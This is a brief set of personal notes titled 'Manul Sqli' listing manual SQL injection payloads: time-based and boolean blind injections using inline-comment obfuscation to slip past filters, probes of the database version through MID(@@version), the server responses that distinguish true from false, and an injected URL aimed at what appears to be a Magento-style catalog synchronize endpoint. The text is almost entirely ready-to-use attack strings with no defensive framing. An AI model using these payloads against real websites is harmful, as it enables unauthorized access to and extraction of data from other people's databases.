Manul Sqli

sleep/*f*/(10)&new_tags[]=3&menu_id=1111
item_id=1111-if(mid(version/*f*/(),1,1)=4,sleep/*f*/(5),0)

MID(0x352e362e33332d6c6f67,1,1)//LIKE//5 (hex == @@version)

"')/**/OR/**/MID(0x352e362e33332d6c6f67,1,1)/**/LIKE/**/5/**/%23"

if(mid(@@version,1,1)=5 which returns a 200 ok message. 
If changed for if(mid(@@version,1,1)=4 the server gives a 500 or 504 error, 
bc*/OR/*dahdshka*/2/*sd*/LIKE/*da*/"2"/**/%23 translates to: 2 OR 2=2%23
TRUE: if @@version starts with a 5:
2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
Response:
HTTP/1.1 500 Internal Server Error

False: if @@version starts with a 4:
2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2

https:/website.com/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&
ids[0][product_id][to]=))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -